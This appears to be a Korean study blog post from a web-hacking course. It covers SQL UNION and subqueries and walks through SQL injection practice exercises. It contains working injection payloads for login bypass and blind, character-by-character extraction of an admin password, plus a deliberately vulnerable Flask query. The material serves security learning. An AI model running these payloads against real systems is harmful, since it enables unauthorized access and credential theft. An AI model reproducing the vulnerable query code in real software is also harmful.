Web Hacking/Study

Background: SQL Features

박연준 2023. 7. 1. 23:41

[WHA] Background: SQL Features

UNION

  • UNION은 다수의 SELECT 구문의 결과를 결합하는 절이다.
  • 해당 절을 통해 다른 테이블에 접근하거나 원하는 쿼리 결과를 생성해 애플리케이션에서 처리하는 타 데이터를 조작할 수 있다.
  • 이는 애플리케이션이 데이터베이스의 쿼리의 실행 결과를 출력하는 경우 유용하게 사용할 수 있는 절이다.
  • 다음은 UNION 절의 사용 예시이다. username 과 password 컬럼에 각각 “Dreamhack”, “DreamHack PW”가 일치하는 데이터를 조회한 것을 알 수 있다.
    mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW";
    /*
    +-----------+--------------+
    | username  | password     |
    +-----------+--------------+
    | admin     | admin        |
    | guest     | guest        |
    | DreamHack | DreamHack PW |
    +-----------+--------------+
    3 rows in set (0.01 sec)
    */
    
  • UNION 절의 사용 예시

Condition

  • 해당 구문을 사용할 때에는 두 가지 필수 조건을 만족해야 한다.
  • 첫 번째로는 이전 SELECT 구문과 UNION을 사용한 구문의 실행 결과 중 컬럼의 갯수가 같아야 한다.
  • 두 번째로는 특정 DBMS에서는 이전 SELECT 구문과 UNION을 사용한 구문의 컬럼 타입이 같아야 한다.
  • 다음은 mysql에서 두 구문의 결과인 컬럼의 갯수가 일치하지 않아 에러가 발생하는 모습이다.
    mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW", "Third Column";
    /*
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    */
    
  • 잘못된 UNION 사용 예시 - 컬럼 갯수
  • 다음은 MSSQL에서 두 구문의 컬럼 타입이 일치하지 않아 에러가 발생하는 모습이다.
    # MSSQL (SQL Server)
    SELECT 'ABC'
    UNION SELECT 123;
    /*
    Conversion failed when converting the varchar value 'ABC' to data type int.
    */
    
  • 잘못된 UNION 사용 예시 - 컬럼 타입

UNION 모듈 실습

  • 다음은 이용자가 입력한 uid와 upw가 일치할 때 uid를 출력하는 모듈로 SQL Injection 취약점이 존재합니다. 앞서 배운 UNION 구문을 사용해 “admin”의 패스워드를 획득해보세요.모듈은 다음과 같다.
  • “admin”의 패스워드를 알아야 하는데 먼저 user_table의 테이블에 있는 uid 컬럼의 값을 참으로 만들면 uid 값이 출력될 것이다. 참으로 만들기 위해선 다양한 방법이 있을 수 있는데 나는 다음과 같은 명령어를 이용해서 uid의 값을 출력한 결과 uid 컬럼이 뽑혀져 나온 것을 확인할 수 있었다.
    ' UNION SELECT upw from user_table WHERE uid="admin"--
    
  • 문제에서 UNION 절을 사용해 “admin”의 패스워드를 알아내라고 되어있으므로 uid값에 다음과 같은 UNION 절을 사용할 수 있다. 싱글 쿼리를 사용해 작은 따옴표를 닫아준 후 UNION 절을 사용해 조건이 uid=admin을 이용하여 user_table 테이블의 upw 컬럼의 값을 출력할 수 있다.

 

Subquery

  • 서브 쿼리 (Subquery)는 한 쿼리 내에 또 다른 쿼리를 사용하는 것을 의미한다.
  • 서브 쿼리를 사용하기 위해서는 쿼리 내에서 괄호 안에 구문을 삽입해야하며, SELECT 구문만 사용할 수 있습니다.
  • 공격자는 서브 쿼리를 통해 쿼리가 접근하는 테이블이 아닌 다른 테이블에 접근하거나 SELECT 구문을 사용하지 않는 쿼리문에서 SQL Injection 취약점이 발생할 때 SELECT 구문을 사용할 수 있다.
  • 다음은 서브 쿼리를 사용해 데이터를 조회한 모습이다. 결과를 살펴보면, 서브 쿼리가 실행되어 456이 출력된 것을 확인할 수 있다. 
  • mysql> SELECT 1,2,3,(SELECT 456); /* +---+---+---+--------------+ | 1 | 2 | 3 | (SELECT 456) | +---+---+---+--------------+ | 1 | 2 | 3 | 456 | +---+---+---+--------------+ 1 row in set (0.00 sec) */
  • 서브 쿼리 사용 예시

서브 쿼리 사용 예시

  • 서브 쿼리를 실제로 어떻게 사용하는지 알아보고, 사용할 때 주의할 점을 알아보자.

COLUMNS 절

  • SELECT 구문의 컬럼 절에서 서브 쿼리를 사용할 때에는 **단일 행(Single Row)과 단일 컬럼(Single Coulumn)**이 반환되도록 해야한다.
  • 다음은 복수의 행과 컬럼을 반환하는 서브 쿼리를 실행한 모습이다. 결과를 살펴보면, 복수의 행 또는 컬럼을 반환하면서 에러가 발생하는 것을 확인할 수 있다 
  • mysql> SELECT username, (SELECT "ABCD" UNION SELECT 1234) FROM users; ERROR 1242 (21000): Subquery returns more than 1 row mysql> SELECT username, (SELECT "ABCD", 1234) FROM users; ERROR 1241 (21000): Operand should contain 1 column(s)
  • 서브 쿼리 사용 예시 - COLUMN

FROM 절

  • FROM 절에서 사용하는 서브 쿼리를 **인라인 뷰 (Inline View)**라고 하며, 이는 **다중 행 (Multiple Row)**과 다중 컬럼 (Multiple Column) 결과를 반환할 수 있다.
  • 다음은 인라인 뷰를 이용해 다중 행과 컬럼의 결과를 반환하는 쿼리문을 실행한 모습이다.
    mysql> SELECT * FROM (SELECT *, 1234 FROM users) as u;
    
    /*
    +----------+------+
    | username | 1234 |
    +----------+------+
    | admin    | 1234 |
    | guest    | 1234 |
    +----------+------+
    2 rows in set (0.00 sec)
    */
    
  • 서브 쿼리 사용 예시 - FROM

WHERE 절

  • WHERE 절에서 서브 쿼리를 사용하면 다중 행 결과를 반환하는 쿼리문을 실행할 수 있다.
  • 다음은 WHERE 절에서 다중 행을 반환하는 쿼리를 실행한 모습이다.
    mysql> SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");
    
    /*
    +----------+----------+
    | username | password |
    +----------+----------+
    | admin    | admin    |
    | guest    | guest    |
    +----------+----------+
    2 rows in set (0.00 sec)
    */
    
  • 서브 쿼리 사용 예시 - WHERE

Application Logic

  • SQL Injection은 애플리케이션 내부에서 사용하는 데이터베이스의 데이터를 조작하는 기법이다.
  • 만약, 특정 쿼리를 실행했을 때 쿼리의 실행 결과가 애플리케이션에서 보여지지 않는다면 공격자 입장에서는 데이터베이스의 정보를 추측하기 어렵다.
  • 대부분의 애플리케이션은 데이터베이스의 결과에 따라 각기 다른 기능을 수행한다.
  • 예를 들어, 특정 번호의 게시물을 조회할 때 번호에 일치하는 게시물이 있다면 이용자에게 정보를 보여주고, 없다면 게시물이 존재하지 않는다는 메시지를 출력한다. 이를 통해 공격자는 참과 거짓을 구분하여 공격을 수행할 수 있다.
  • 다음은 Flask 프레임워크를 사용한 예제 코드이다. 코드를 살펴보면 인자로 전달된 username 을 쿼리로 사용하면서 SQL Inejction이 발생하며, 해당 쿼리의 결과로 username 이 “admin”일 경우 참을, 아닌 경우에는 거짓을 반환한다.
    from flask import Flask, request
    import pymysql
    
    app = Flask(__name__)
    
    def getConnection():
      return pymysql.connect(host='localhost', user='dream', password='hack', db='dreamhack', charset='utf8')
    
    @app.route('/' , methods=['GET'])
    def index():
      username = request.args.get('username')
      
    	sql = "select username from users where username='%s'" %username
      conn = getConnection()
      curs = conn.cursor(pymysql.cursors.DictCursor)
      curs.execute(sql)
      rows = curs.fetchall()
      conn.close()
      
    	if(rows[0]['username'] == "admin"):
        return "True"
      else:
        return "False"
    
    app.run(host='0.0.0.0', port=8000)
    
  • Application Logic 예제 코드

Logic 이용 공격

  • 데이터베이스가 아래와 같이 구성되어 있다고 가정한다.username password
    admin Password_for_admin
    guest guest_Password

UNION을 사용한 공격

  • UNION 절을 사용하면 두 개의 SELECT 구문의 결과를 반환하므로 참을 반환할 수 있다.
  • 다음은 SQL Injection으로 새로운 쿼리를 삽입한 모습이다. 공격 코드를 삽입하면 UNION 절에서 “admin”을 반환하기 때문에 애플리케이션에서 참을 반환하게 된다.
    /?username=' union select 'admin' -- -
    ==> True
    
  • UNION 절을 이용한 공격

비교 구문을 사용한 공격

  • 애플리케이션에서 “admin”을 반환해 관리자 권한으로 로그인하는 방법도 있지만 관리자 계정의 비밀번호를 알아내는 방법 또한 존재한다.
  • SQL에서는 IF문을 사용해 비교 구문을 만들 수 있다.
  • 해당 구문을 통해 관리자 계정의 비밀번호를 한 글자씩 알아낼 수 있다.

다음은 비교 구문을 통해 관리자 계정의 비밀번호를 한 글자씩 알아내는 공격 쿼리이다.

  • substr 함수는 첫 번째 인자로 전달된 문자열두 번째 인자로 전달된 위치에서 시작하여 세 번째 인자로 전달된 문자 수 만큼의 문자들을 반환한다.
  • 비밀번호 첫 번째 바이트가 ‘B’인지 비교하고, 반환 결과를 통해 비밀번호의 첫 번째 바이트는 ‘B’가 아님을 알 수 있다. 이후 두 번째와 세 번째 쿼리의 반환 결과를 통해 첫 번째 바이트가 ‘P’, 두 번째 바이트가 ‘a’인 것을 알아낼 수 있다. 이와 같은 방법으로 관리자 계정의 비밀번호를 알아낼 수 있다.

비교 구문을 이용한 공격

/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
==> False

/?username=' union select if(substr(password,1,1)='P', 'admin', 'not admin') from users where username='admin' -- -
==> True

/?username=' union select if(substr(password,2,1)='a', 'admin', 'not admin') from users where username='admin' -- -
==> True

SQL Injection 모듈 실습

SQL Injection 취약점이 존재하는 모듈입니다. 주어진 목표를 확인하고, 이를 만족하는 쿼리를 실행해보시기 바랍니다.

 

목표 0에서는 다음과 같이 SQL Injection을 통해 로그인을 우회하라고 되어있다.

큰 따옴표로 문자열을 한 번 탈출한 뒤 or 1=1 --를 이용해서 우회할 수 있다. 따라서 다음과 같은 쿼리를 이용해 목표 0번을 clear 할 수 있었다.

 

 

목표 1에서는 다음과 같이 SQL Injection을 통해 Admin의 Full Password를 찾아 Find Admin Password에 입력해야 한다. 자세히 보면 Result 부분의 결과가 맨 앞 한 글자만 출력한다고 되어있다.

 

목표 1번은 UNION 절을 사용하여 맨 앞의 한 글자만 출력되므로 substr 을 사용하여 세 번째 인자가 길이를 정하므로 1로 설정하여 두 번째 인자인 시작할 위치를 1부터 차례대로 증가시키면 원하는 값을 얻을 수 있다.

" UNION SELECT substr(upw,1,1) FROM users WHERE uid='admin'--
" UNION SELECT substr(upw,2,1) FROM users WHERE uid='admin'--
" UNION SELECT substr(upw,3,1) FROM users WHERE uid='admin'--
" UNION SELECT substr(upw,4,1) FROM users WHERE uid='admin'--
" UNION SELECT substr(upw,5,1) FROM users WHERE uid='admin'--
" UNION SELECT substr(upw,6,1) FROM users WHERE uid='admin'--

 

목표 2번은 전과 동일한데 pw 값이 바뀌었다고 한다. 하지만 쿼리를 입력하지 않고 Result창에 참과 거짓이 출력되므로 pw를 입력하면 6자리 중 2만큼 맞췄다고 뜨며 0부터 9까지 한 자리씩 입력하면 clear 할 수 있다.

 

목표 3번은 Blind SQL Injection을 통해 Admin의 Full Password를 찾아야 한다. pw로 비밀번호가 시작하여 성공과 실패인 오류 메세지를 출력해준다.

 

 

큰 따옴표로 문자열을 한 번 탈출한 후 uid가 admin인 값의 upw의 첫 글자가 p인 것을 확인하는 쿼리로 로그인 성공이 출력되는 것을 확인할 수 있다.

" or uid="admin" and substr(upw,1,1) = "p

 

따라서 계속 3~6자리를 0~9까지 substr의 두 번째 인자에 대입해주면 Full Password를 구할 수 있다.

 

 

'Web Hacking > Study' 카테고리의 다른 글

Error & Time based SQL Injection  (0) 2023.07.01
ExploitTech: Blind SQL Injection Advanced  (0) 2023.07.01
정규 표현식  (0) 2023.07.01
File Download 취약점과 대응방안  (0) 2023.07.01
File Upload 취약점과 대응방안  (0) 2023.07.01